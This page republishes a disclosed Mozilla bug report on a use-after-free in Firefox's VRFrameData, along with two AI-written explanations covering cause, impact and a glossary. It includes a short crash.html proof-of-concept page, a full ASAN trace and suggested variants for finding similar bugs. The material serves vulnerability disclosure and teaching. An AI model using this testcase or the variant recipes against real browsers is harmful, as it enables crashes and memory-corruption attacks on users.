Skip to content
Memory corruption Disclosed report Advanced

VRFrameData does not root its JS objects

The VRFrameData Web API object did not properly root the JavaScript objects it holds, so the garbage collector could free them while still referenced. A page that creates a VRFrameData and enumerates its properties, then reloads, could trigger a use-after-free crash in the browser.

Nils Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 4 days
  • Paid in 3 months
  • Disclosed after 4 days

The following testcase crashes the latest ASAN build of Firefox (BuildID=20161113140512) as follow after a few reloads:

crash.html:

<script> var x=new VRFrameData(); for(var a in x) typeof x[a]; location.reload(); </script>

ASAN output:

ASAN:DEADLYSIGNAL

==4777==ERROR: AddressSanitizer: SEGV on unknown address 0x008ea2417ffd (pc 0x7f0b50d63cfe bp 0x7ffde37bf9d0 sp 0x7ffde37bf800 T0) #0 0x7f0b50d63cfd in IsInsideNursery /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:333:21 #1 0x7f0b50d63cfd in GCThingIsMarkedGray /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:362 #2 0x7f0b50d63cfd in TraversalTracer::onChild(JS::GCCellPtr const&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:341 #3 0x7f0b50d8e091 in JS::CallbackTracer::onShapeEdge(js::Shape**) /home/worker/workspace/build/src/obj-firefox/dist/include/js/TracingAPI.h:147:9 #4 0x7f0b5c03b780 in dispatchToOnEdge /home/worker/workspace/build/src/obj-firefox/dist/include/js/TracingAPI.h:228:49 #5 0x7f0b5c03b780 in js::Shape* DoCallbackjs::Shape*(JS::CallbackTracer*, js::Shape**, char const*) /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:51 #6 0x7f0b5bff1804 in DispatchToTracer<js::Shape > /home/worker/workspace/build/src/js/src/gc/Marking.cpp:665:5 #7 0x7f0b5bff1804 in TraceEdge<js::Shape > /home/worker/workspace/build/src/js/src/gc/Marking.cpp:411 #8 0x7f0b5bff1804 in js::Shape::traceChildren(JSTracer) /home/worker/workspace/build/src/js/src/gc/Marking.cpp:1041 #9 0x7f0b5c03cac9 in TraceChildren /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:126:5 #10 0x7f0b5c03cac9 in JS::TraceChildren(JSTracer, JS::GCCellPtr) /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:111 #11 0x7f0b50d637f3 in NoteGCThingJSChildren /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:637:3 #12 0x7f0b50d637f3 in mozilla::CycleCollectedJSContext::TraverseGCThing(mozilla::CycleCollectedJSContext::TraverseSelect, JS::GCCellPtr, nsCycleCollectionTraversalCallback&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:695 #13 0x7f0b50d6353a in mozilla::JSGCThingParticipant::Traverse(void*, nsCycleCollectionTraversalCallback&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:305:3 #14 0x7f0b50d7d355 in CCGraphBuilder::BuildGraph(js::SliceBudget&) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2282:21 #15 0x7f0b50d838ce in nsCycleCollector::MarkRoots(js::SliceBudget&) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2879:23 #16 0x7f0b50d891ef in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3655:9 #17 0x7f0b50d8c7dc in nsCycleCollector_collectSlice(js::SliceBudget&, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4160:3 #18 0x7f0b53c51698 in nsJSContext::RunCycleCollectorSlice() /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1476:3 #19 0x7f0b50ecc9d1 in nsTimerImpl::Fire() /home/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:477:7 #20 0x7f0b50ea08f2 in nsTimerEvent::Run() /home/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:289:3 #21 0x7f0b50eaf31b in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7 #22 0x7f0b50f3235c in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10 #23 0x7f0b51cca75f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #24 0x7f0b51c3a828 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3 #25 0x7f0b51c3a828 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225 #26 0x7f0b51c3a828 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205 #27 0x7f0b57309c7f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #28 0x7f0b594d5ea7 in XRE_RunAppShell /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:869:12 #29 0x7f0b51c3a828 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3 #30 0x7f0b51c3a828 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225 #31 0x7f0b51c3a828 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205 #32 0x7f0b594d53e3 in XRE_InitChildProcess /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:701:7 #33 0x4dfb5b in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:197:19 #34 0x4dfb5b in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:392 #35 0x7f0b6c20282f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #36 0x41ba38 in _start (/home/nils/fuzzer3/firefox/firefox+0x41ba38)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:333:21 in IsInsideNursery ==4777==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This report concerns Firefox, specifically the WebVR API surface exposed to web content. The feature in question is VRFrameData, a JavaScript object that a page can construct and then enumerate. The report's title states the defect plainly: VRFrameData does not root its JS objects. In garbage-collector terms, the object holds references to JavaScript values that the collector is not told about, so those values can be reclaimed while still reachable through the wrapper.

The report was filed against Mozilla's bug bounty programme, in the Core: Graphics component, and was disclosed on 18 November 2016. The platform records the weakness as use after free and the severity as critical. No CVSS score or bounty amount is given.

Setup

The only precondition stated is a build of Firefox with AddressSanitizer enabled. The researcher identifies the build as the latest ASAN build at the time, with BuildID 20161113140512. No accounts, roles or special configuration are mentioned; the test is a plain HTML page loaded in the browser.

Finding it

The researcher reduced the problem to a very small page. Constructing a VRFrameData and iterating over its properties with for...in is enough to touch the object's shape and its referenced values. Reloading the page then triggers the crash, though the report notes it happens "after a few reloads", so the failure is not deterministic on the first load. The reload matters because it discards the document and its JavaScript heap, which is when the cycle collector and garbage collector do their work on the objects the page left behind.

Exploitation

Step 1: the testcase

The page is named crash.html and contains the following:

HTML
<script>
var x=new VRFrameData();
for(var a in x) typeof x[a];
location.reload();
</script>

The first line constructs a VRFrameData instance. The second enumerates every enumerable property of the instance and evaluates typeof on each value, which forces the engine to read the referenced JavaScript values rather than just the property names. The third line reloads the page immediately, tearing down the document and leaving the object to the collector.

Step 2: the crash

After a few reloads, the ASAN build aborts with a segmentation fault:

Text
ASAN:DEADLYSIGNAL
=================================================================
==4777==ERROR: AddressSanitizer: SEGV on unknown address 0x008ea2417ffd (pc 0x7f0b50d63cfe bp 0x7ffde37bf9d0 sp 0x7ffde37bf800 T0)
    #0 0x7f0b50d63cfd in IsInsideNursery /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:333:21
    #1 0x7f0b50d63cfd in GCThingIsMarkedGray /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:362
    #2 0x7f0b50d63cfd in TraversalTracer::onChild(JS::GCCellPtr const&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:341
    #3 0x7f0b50d8e091 in JS::CallbackTracer::onShapeEdge(js::Shape**) /home/worker/workspace/build/src/obj-firefox/dist/include/js/TracingAPI.h:147:9
    #4 0x7f0b5c03b780 in dispatchToOnEdge /home/worker/workspace/build/src/obj-firefox/dist/include/js/TracingAPI.h:228:49
    #5 0x7f0b5c03b780 in js::Shape* DoCallback<js::Shape*>(JS::CallbackTracer*, js::Shape**, char const*) /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:51
    #6 0x7f0b5bff1804 in DispatchToTracer<js::Shape *> /home/worker/workspace/build/src/js/src/gc/Marking.cpp:665:5
    #7 0x7f0b5bff1804 in TraceEdge<js::Shape *> /home/worker/workspace/build/src/js/src/gc/Marking.cpp:411
    #8 0x7f0b5bff1804 in js::Shape::traceChildren(JSTracer*) /home/worker/workspace/build/src/js/src/gc/Marking.cpp:1041
    #9 0x7f0b5c03cac9 in TraceChildren /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:126:5
    #10 0x7f0b5c03cac9 in JS::TraceChildren(JSTracer*, JS::GCCellPtr) /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:111
    #11 0x7f0b50d637f3 in NoteGCThingJSChildren /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:637:3
    #12 0x7f0b50d637f3 in mozilla::CycleCollectedJSContext::TraverseGCThing(mozilla::CycleCollectedJSContext::TraverseSelect, JS::GCCellPtr, nsCycleCollectionTraversalCallback&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:695
    #13 0x7f0b50d6353a in mozilla::JSGCThingParticipant::Traverse(void*, nsCycleCollectionTraversalCallback&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:305:3
    #14 0x7f0b50d7d355 in CCGraphBuilder::BuildGraph(js::SliceBudget&) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2282:21
    #15 0x7f0b50d838ce in nsCycleCollector::MarkRoots(js::SliceBudget&) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2879:23
    #16 0x7f0b50d891ef in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3655:9
    #17 0x7f0b50d8c7dc in nsCycleCollector_collectSlice(js::SliceBudget&, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4160:3
    #18 0x7f0b53c51698 in nsJSContext::RunCycleCollectorSlice() /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1476:3
    #19 0x7f0b50ecc9d1 in nsTimerImpl::Fire() /home/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:477:7
    #20 0x7f0b50ea08f2 in nsTimerEvent::Run() /home/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:289:3
    #21 0x7f0b50eaf31b in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7
    #22 0x7f0b50f3235c in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
    #23 0x7f0b51cca75f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #24 0x7f0b51c3a828 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #25 0x7f0b51c3a828 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #26 0x7f0b51c3a828 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #27 0x7f0b57309c7f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #28 0x7f0b594d5ea7 in XRE_RunAppShell /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:869:12
    #29 0x7f0b51c3a828 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #30 0x7f0b51c3a828 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #31 0x7f0b51c3a828 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #32 0x7f0b594d53e3 in XRE_InitChildProcess /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:701:7
    #33 0x4dfb5b in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:197:19
    #34 0x4dfb5b in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:392
    #35 0x7f0b6c20282f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #36 0x41ba38 in _start (/home/nils/fuzzer3/firefox/firefox+0x41ba38)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:333:21 in IsInsideNursery
==4777==ABORTING

The faulting address is 0x008ea2417ffd, and the crash occurs in IsInsideNursery in js/HeapAPI.h, reached through GCThingIsMarkedGray. The stack shows the path clearly: a cycle collector slice is running from a timer (nsTimerImpl::Fire calling nsJSContext::RunCycleCollectorSlice), the collector builds its graph (CCGraphBuilder::BuildGraph), and while traversing a JS GC thing it calls NoteGCThingJSChildren, which calls JS::TraceChildren, which traces a js::Shape and dispatches to TraversalTracer::onChild. That is where the invalid pointer is dereferenced.

In other words, the crash happens during marking, not during the page's own execution: the collector follows a reference to a JS object that has already been freed, and the nursery check on that stale pointer faults.

Root cause

The title of the report gives the cause: VRFrameData does not root its JS objects. A native wrapper that stores references to JavaScript values must keep those values alive, either by rooting them or by participating correctly in tracing, so that the garbage collector and cycle collector can see them. If the wrapper is traced as if it held live JS children but the values were never rooted, the collector can encounter a reference to memory that has already been reclaimed. The ASAN trace is consistent with exactly that: a shape edge traced from a GC thing whose target is no longer valid.

The report does not describe the implementation of VRFrameData or the specific patch, so the precise location of the missing root is not stated here.

Impact

The observable effect in the report is a browser crash in the content process, reached by a web page that constructs a VRFrameData and reloads. Because the underlying condition is a use after free, the more serious concern is that a stale JS reference could be reused in a way that is not limited to a crash, which is why the weakness is classified as critical. The report itself demonstrates only the crash; it does not show control over the freed memory or any path beyond denial of service.

Fix

The report does not include the fix. The defect it identifies is that VRFrameData fails to root its JS objects, so the correction is to make the wrapper root or correctly trace the JavaScript values it holds, ensuring the collector never follows a reference to reclaimed memory.

Variants to test

  1. Other WebVR objects that hold JS values. Construct each object, enumerate its properties with for...in and typeof, then reload repeatedly. A positive result is an ASAN report during cycle collection or GC tracing, in the same way as here.
  2. Different ways of forcing the values to be read. Instead of typeof, access each property and store or compare it, then drop all references and reload. A positive result is the same collector-time fault.
  3. Repeated construction without reload. Create many VRFrameData instances in a loop, let them go out of scope, and force collection. A positive result is a crash in the tracing path rather than in page script.

Hunting notes

This kind of bug tends to hide in native wrappers around JavaScript values, particularly newer APIs where the binding between a DOM-facing object and the JS heap is easy to get wrong. The signal during testing is a crash that appears only after the page is torn down or after collection runs, not while the page is executing, which points at rooting and tracing rather than at parsing or logic. The report provides a minimal testcase and a full ASAN stack trace naming the collector functions involved.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a way to make Firefox crash by loading a tiny web page and letting it reload itself a few times. The page uses a feature called WebVR, which lets websites talk to virtual reality headsets. One of the objects in that feature, VRFrameData, holds on to some JavaScript values but never tells Firefox's memory cleanup system that it is still using them. When the cleanup system runs, it follows a pointer to memory that has already been thrown away, and the browser falls over.

The report was sent to Mozilla's bug bounty programme, which pays people for finding security problems in Mozilla software. It was filed under the Core: Graphics component and made public on 18 November 2016. The platform records the weakness as a use after free and the severity as critical. No CVSS score and no bounty amount are given.

Background you need first

A few ideas come up again and again below, so here they are from scratch.

Firefox and its content process. Firefox does not run a web page in the same place as the rest of the browser. It puts the page in a separate, sandboxed program called the content process. The crash in this report happens inside the content process.

JavaScript and the JavaScript heap. JavaScript is the language web pages use to run code in your browser. Every value a script creates (numbers, strings, objects) lives in a region of memory called the heap. The heap is managed automatically: the browser decides when to free memory that is no longer needed.

Garbage collection. Because scripts create and drop values constantly, the browser runs a garbage collector. It walks through the values that are still reachable from live code and frees the rest. Think of it as a cleaner who goes through a building, checks which rooms are still in use, and clears out the ones nobody can reach any more.

Cycle collection. Some objects refer to each other in a loop, so neither looks unused even when nothing else points at them. Firefox has a second, related mechanism, the cycle collector, that finds these loops and breaks them. It runs in small slices, scheduled by a timer, so it does not freeze the browser for long.

Rooting and tracing. For the collector to do its job safely, every object that holds a reference to a JavaScript value must tell the collector about it. "Rooting" a value means registering it as something that must not be freed. "Tracing" means the collector asks an object which values it still holds, so it can follow them. If an object holds a reference but never roots or reports it, the collector may free that value while the object still points at it.

Use after free. This is the name for exactly that situation: code keeps a pointer to memory that has already been released, and later reads or writes through it. The memory may have been reused for something else, so the result is unpredictable. At best the program crashes; at worst an attacker can influence what happens next.

API. An API (application programming interface) is a defined set of features a program offers to other code. The WebVR API is the set of JavaScript objects and functions Firefox exposes to web pages so they can work with VR hardware.

AddressSanitizer (ASAN). This is a debugging tool built into a special version of a program. It watches memory use closely and, when something goes wrong, prints a detailed report and stops the program. The researcher used an ASAN build of Firefox, which is why the crash produced a long, readable trace instead of a silent failure.

BuildID. Mozilla stamps each build of Firefox with an identifier so a specific build can be named exactly. The one used here is 20161113140512.

Stack trace. When a program crashes, the debugger can print the list of function calls that led to the crash, newest first. Each numbered line is one call. Reading it from the bottom up tells you the story of how the program got there.

The setup

The only precondition the report states is a build of Firefox with AddressSanitizer enabled. The researcher identifies it as the latest ASAN build at the time, with BuildID 20161113140512. No accounts, roles or special configuration are mentioned. The test is a plain HTML page loaded in the browser.

Finding it

The researcher reduced the problem to a very small page. Constructing a VRFrameData and iterating over its properties with for...in is enough to touch the object's shape and the values it refers to. Reloading the page then triggers the crash, though the report notes it happens "after a few reloads", so the failure is not guaranteed on the first load.

The reload is the important part. Reloading throws away the current document and its JavaScript heap, which is exactly when the cycle collector and garbage collector get to work on the objects the page left behind. If the object was holding references the collector did not know about, that is the moment the problem shows.

Step 1: the testcase

The page is named crash.html and contains the following:

HTML
<script>
var x=new VRFrameData();
for(var a in x) typeof x[a];
location.reload();
</script>

Line by line:

  1. var x=new VRFrameData(); creates a new VRFrameData object and stores it in the variable x. This is the object the report is about. This is the object the report is about.
  2. for(var a in x) typeof x[a]; loops over every property name of x and, for each one, evaluates typeof on the value stored under that name. typeof is a JavaScript operator that returns a word describing a value's type, such as "number" or "object". The point is not the result: it is that the engine has to actually read each referenced value, not just the property names. This forces the object's internal shape and its references to be exercised.
  3. location.reload(); immediately reloads the page. This tears down the document and leaves the VRFrameData object to the collector, which is when the bad reference gets followed.

Step 2: the crash

After a few reloads, the ASAN build aborts with a segmentation fault:

Text
ASAN:DEADLYSIGNAL
=================================================================
==4777==ERROR: AddressSanitizer: SEGV on unknown address 0x008ea2417ffd (pc 0x7f0b50d63cfe bp 0x7ffde37bf9d0 sp 0x7ffde37bf800 T0)
    #0 0x7f0b50d63cfd in IsInsideNursery /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:333:21
    #1 0x7f0b50d63cfd in GCThingIsMarkedGray /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:362
    #2 0x7f0b50d63cfd in TraversalTracer::onChild(JS::GCCellPtr const&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:341
    #3 0x7f0b50d8e091 in JS::CallbackTracer::onShapeEdge(js::Shape**) /home/worker/workspace/build/src/obj-firefox/dist/include/js/TracingAPI.h:147:9
    #4 0x7f0b5c03b780 in dispatchToOnEdge /home/worker/workspace/build/src/obj-firefox/dist/include/js/TracingAPI.h:228:49
    #5 0x7f0b5c03b780 in js::Shape* DoCallback<js::Shape*>(JS::CallbackTracer*, js::Shape**, char const*) /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:51
    #6 0x7f0b5bff1804 in DispatchToTracer<js::Shape *> /home/worker/workspace/build/src/js/src/gc/Marking.cpp:665:5
    #7 0x7f0b5bff1804 in TraceEdge<js::Shape *> /home/worker/workspace/build/src/js/src/gc/Marking.cpp:411
    #8 0x7f0b5bff1804 in js::Shape::traceChildren(JSTracer*) /home/worker/workspace/build/src/js/src/gc/Marking.cpp:1041
    #9 0x7f0b5c03cac9 in TraceChildren /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:126:5
    #10 0x7f0b5c03cac9 in JS::TraceChildren(JSTracer*, JS::GCCellPtr) /home/worker/workspace/build/src/js/src/gc/Tracer.cpp:111
    #11 0x7f0b50d637f3 in NoteGCThingJSChildren /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:637:3
    #12 0x7f0b50d637f3 in mozilla::CycleCollectedJSContext::TraverseGCThing(mozilla::CycleCollectedJSContext::TraverseSelect, JS::GCCellPtr, nsCycleCollectionTraversalCallback&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:695
    #13 0x7f0b50d6353a in mozilla::JSGCThingParticipant::Traverse(void*, nsCycleCollectionTraversalCallback&) /home/worker/workspace/build/src/xpcom/base/CycleCollectedJSContext.cpp:305:3
    #14 0x7f0b50d7d355 in CCGraphBuilder::BuildGraph(js::SliceBudget&) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2282:21
    #15 0x7f0b50d838ce in nsCycleCollector::MarkRoots(js::SliceBudget&) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2879:23
    #16 0x7f0b50d891ef in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3655:9
    #17 0x7f0b50d8c7dc in nsCycleCollector_collectSlice(js::SliceBudget&, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4160:3
    #18 0x7f0b53c51698 in nsJSContext::RunCycleCollectorSlice() /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1476:3
    #19 0x7f0b50ecc9d1 in nsTimerImpl::Fire() /home/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:477:7
    #20 0x7f0b50ea08f2 in nsTimerEvent::Run() /home/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:289:3
    #21 0x7f0b50eaf31b in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7
    #22 0x7f0b50f3235c in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
    #23 0x7f0b51cca75f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #24 0x7f0b51c3a828 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #25 0x7f0b51c3a828 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #26 0x7f0b51c3a828 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #27 0x7f0b57309c7f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #28 0x7f0b594d5ea7 in XRE_RunAppShell /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:869:12
    #29 0x7f0b51c3a828 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #30 0x7f0b51c3a828 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #31 0x7f0b51c3a828 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #32 0x7f0b594d53e3 in XRE_InitChildProcess /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:701:7
    #33 0x4dfb5b in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:197:19
    #34 0x4dfb5b in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:392
    #35 0x7f0b6c20282f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #36 0x41ba38 in _start (/home/nils/fuzzer3/firefox/firefox+0x41ba38)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/worker/workspace/build/src/obj-firefox/dist/include/js/HeapAPI.h:333:21 in IsInsideNursery
==4777==ABORTING

How to read this:

  • ASAN:DEADLYSIGNAL and SEGV mean the program tried to touch memory it is not allowed to touch. SEGV is short for segmentation fault. The address it tried to reach is 0x008ea2417ffd.
  • The numbered lines are the stack trace. The top line, #0, is where the crash actually happened: a function called IsInsideNursery in a header file, js/HeapAPI.h. "Nursery" is the part of the JavaScript heap where brand new objects are first placed, so this function is asking whether a given pointer refers to a young object.
  • #1 and #2 show the same address in GCThingIsMarkedGray and TraversalTracer::onChild. "Marked gray" is a bookkeeping state the collector uses while it is still deciding whether an object is alive. TraversalTracer is the part of the collector that walks from one object to the next.
  • #3 to #10 show the walk through a js::Shape. A shape is JavaScript's internal description of an object's set of properties. The collector is following a reference from a shape to a child value.
  • #11 and #12 show NoteGCThingJSChildren and TraverseGCThing, the functions that hand a JavaScript object's children to the collector.
  • #13 to #17 show the cycle collector itself: JSGCThingParticipant::Traverse, CCGraphBuilder::BuildGraph, nsCycleCollector::MarkRoots, nsCycleCollector::Collect and nsCycleCollector_collectSlice. In plain terms, the cycle collector is building a map of what refers to what.
  • #18 and #19 show why it was running at that moment: a timer fired (nsTimerImpl::Fire) and started a cycle collector slice (nsJSContext::RunCycleCollectorSlice).
  • #20 to #36 are the ordinary plumbing of the browser's event loop and process startup, ending in main. They are not part of the bug; they just show the chain of calls that led to the timer firing.

The key point is that the crash happens during marking, not while the page's own script is running. The collector follows a reference to a JavaScript object that has already been freed, and the nursery check on that stale pointer faults.

Root cause

The title of the report gives the cause: VRFrameData does not root its JS objects. A native wrapper (browser code written in C++ that stands behind a JavaScript object) that stores references to JavaScript values must keep those values alive, either by rooting them or by reporting them correctly during tracing, so that the garbage collector and cycle collector can see them. If the wrapper is traced as if it held live JavaScript children but the values were never rooted, the collector can run into a reference to memory that has already been reclaimed. The ASAN trace matches exactly that: a shape edge traced from a garbage-collected thing whose target is no longer valid.

The report does not describe how VRFrameData is implemented or what the specific patch was, so the precise location of the missing root is not stated.

Impact

The visible effect in the report is a browser crash in the content process, reached by a web page that constructs a VRFrameData and reloads. Because the underlying condition is a use after free, the more serious concern is that a stale JavaScript reference could be reused in a way that goes beyond a crash, which is why the weakness is classified as critical. The report itself demonstrates only the crash; it does not show control over the freed memory or any path beyond denial of service.

Fix

The report does not include the fix. The defect it identifies is that VRFrameData fails to root its JS objects, so the correction is to make the wrapper root or correctly trace the JavaScript values it holds, ensuring the collector never follows a reference to reclaimed memory.

Variants to test

  1. Other WebVR objects that hold JavaScript values. Construct each object, enumerate its properties with for...in and typeof, then reload repeatedly. A positive result is an ASAN report during cycle collection or garbage collector tracing, in the same way as here.
  2. Different ways of forcing the values to be read. Instead of typeof, access each property and store or compare it, then drop all references and reload. A positive result is the same collector-time fault.
  3. Repeated construction without reload. Create many VRFrameData instances in a loop, let them go out of scope, and force collection. A positive result is a crash in the tracing path rather than in page script.

Hunting notes

This kind of bug tends to hide in native wrappers around JavaScript values, particularly in newer APIs where the link between a DOM-facing object and the JavaScript heap is easy to get wrong. The signal during testing is a crash that appears only after the page is torn down or after collection runs, not while the page is executing. That points at rooting and tracing rather than at parsing or logic. The report provides a minimal testcase and a full ASAN stack trace naming the collector functions involved.

Glossary

  • API: a defined set of features a program offers to other code, such as the WebVR objects Firefox exposes to web pages.
  • AddressSanitizer (ASAN): a debugging tool in a special build of a program that detects memory errors and prints a detailed report when one occurs.
  • BuildID: an identifier Mozilla stamps on each Firefox build so a specific build can be named exactly.
  • Content process: the separate, sandboxed program in which Firefox runs a web page.
  • CVSS: a standard scoring system for rating the severity of security vulnerabilities.
  • Cycle collector: Firefox's mechanism for finding and breaking loops of objects that refer to each other, run in small slices on a timer.
  • Garbage collector: the automatic memory manager that frees JavaScript values no longer reachable from live code.
  • Heap: the region of memory where a program's dynamically created values live.
  • JavaScript: the programming language web pages use to run code in the browser.
  • Native wrapper: browser code written in C++ that stands behind a JavaScript object and holds its internal state.
  • Nursery: the part of the JavaScript heap where newly created objects are first placed.
  • Rooting: registering a JavaScript value so the garbage collector knows it must not be freed.
  • Segmentation fault (SEGV): a crash caused by touching memory the program is not allowed to access.
  • Shape: JavaScript's internal description of an object's set of properties.
  • Stack trace: the list of function calls that led to a crash, printed newest first.
  • Tracing: the process by which the collector asks an object which JavaScript values it still holds, so it can follow them.
  • Use after free: a bug where code keeps a pointer to memory that has already been released and later uses it.
  • WebVR: the browser feature that lets web pages work with virtual reality hardware.
  • VRFrameData: a WebVR JavaScript object that a page can construct and whose properties can be enumerated.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

